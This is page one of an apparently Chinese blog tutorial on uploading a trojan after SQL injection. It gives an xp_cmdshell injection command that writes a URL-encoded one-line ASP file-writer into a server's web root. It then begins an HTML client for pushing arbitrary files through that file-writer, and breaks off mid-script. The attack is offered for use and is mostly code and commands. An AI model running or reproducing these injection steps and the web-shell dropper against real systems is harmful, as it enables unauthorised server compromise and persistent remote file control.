SQL注入与木马上传

<script type="text/javascript"> </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
<script type="text/javascript"> </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
SQL 注入后,如何上传木马,一直是比较头疼的事,我这里提供上传木马的一种另一种方法。1、 SQL 注入的时候,用xp_cmdshell向服务器上写入一个能写文件的asp文件。文件内容:<%SetobjFSO=Server.createObject("Scripting.FileSystemObject")SetobjCountFile=objFSO.createTextFile(request("mypath"),True)objCountFile.Writerequest("mydata")objCountFile.Close%>这个文件可以写成一行<%SetobjFSO=Server.createObject("Scripting.FileSystemObject"):SetobjCountFile=objFSO.createTextFile(request("mypath"),True):objCountFile.Writerequest("mydata"):objCountFile.Close%>将特殊字符进行编码就可以得到%3C%25Set%20objFSO%20=%20Server.createObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.createTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E 注入(这里假定web目录是C:/Inetpub/wwwroot/):execmaster..xp_cmdshell'echo"%3C%25Set%20objFSO%20=%20Server.createObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.createTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E">C:/Inetpub/wwwroot/ftp.asp';这样在服务器的web目录下将生成一个ftp.asp文件该文件的代码为<%SetobjFSO=Server.createObject("Scripting.FileSystemObject")SetobjCountFile=objFSO.createTextFile(request("mypath"),True)objCountFile.Writerequest("mydata")objCountFile.Close%>你可以看到,上面代码中预留了两个接口mypath和mydatamypath是下次提交的时候文件的生成路径mydata是文件的内容在本地编写一个客户端文件例:RohuClient.htm代码如下<!DOCTYPEPUBLIC"-//W3C//DTDHTML4.01Transitional//EN"><html><head><metahttp-equiv="Content-Type"content="text/html;charset=gb2312"><title>肉鸡文件生成器--客户端制作:绝对零度:12216796</title><styletype="text/css"><!--TD{FONT-SIZE:9pt;LINE-HEIGHT:150%}BODY{FONT-SIZE:12px;FONT-FAMILY:Verdana,Arial,Helvetica,sans-serif,宋体;SCROLLBAR-FACE-COLOR:#eeeeee;SCROLLBAR-HIGHLIGHT-COLOR:#ffffff;SCROLLBAR-SHADOW-COLOR:#dee3e7;SCROLLBAR-3DLIGHT-COLOR:#d1d7dc;SCROLLBAR-ARROW-COLOR:#006699;SCROLLBAR-TRACK-COLOR:#ededed;SCROLLBAR-DARKSHADOW-COLOR:#98aab1}A:link{FONT-SIZE:9pt;COLOR:#363636;LINE-HEIGHT:18px;TEXT-DECORATION:none}A:visited{FONT-SIZE:9pt;COLOR:#363636;LINE-HEIGHT:18px;TEXT-DECORATION:none}A:hover{COLOR:#cc0000;LINE-HEIGHT:18px;TEXT-DECORATION:underline}input,select,TEXTAREA{font-family:"tahoma","arial","helvetica","sans-serif","宋体";background-color:#f9f9f9;font-size:9pt;border:1px#d2d2d2dobble;line-height:120%;}--></style></head><scriptlanguage="javascript"type="text/javascript">functionchk(theform){if(theform.ftpUrl.value==''){alert('请输入递交的地址!');theform.ftpUrl.focus();returnfalse;}if(theform.MyPath.value==''){alert('请输入生成文件的位置!');theform.MyPath.focus();returnfalse;}if(theform.MyData.value==''){alert('请输入生成文件的内容!');theform.MyData.focus();returnfalse;}theform.共2页  第1页 
<script type="text/javascript"> </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
<script type="text/javascript"> </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值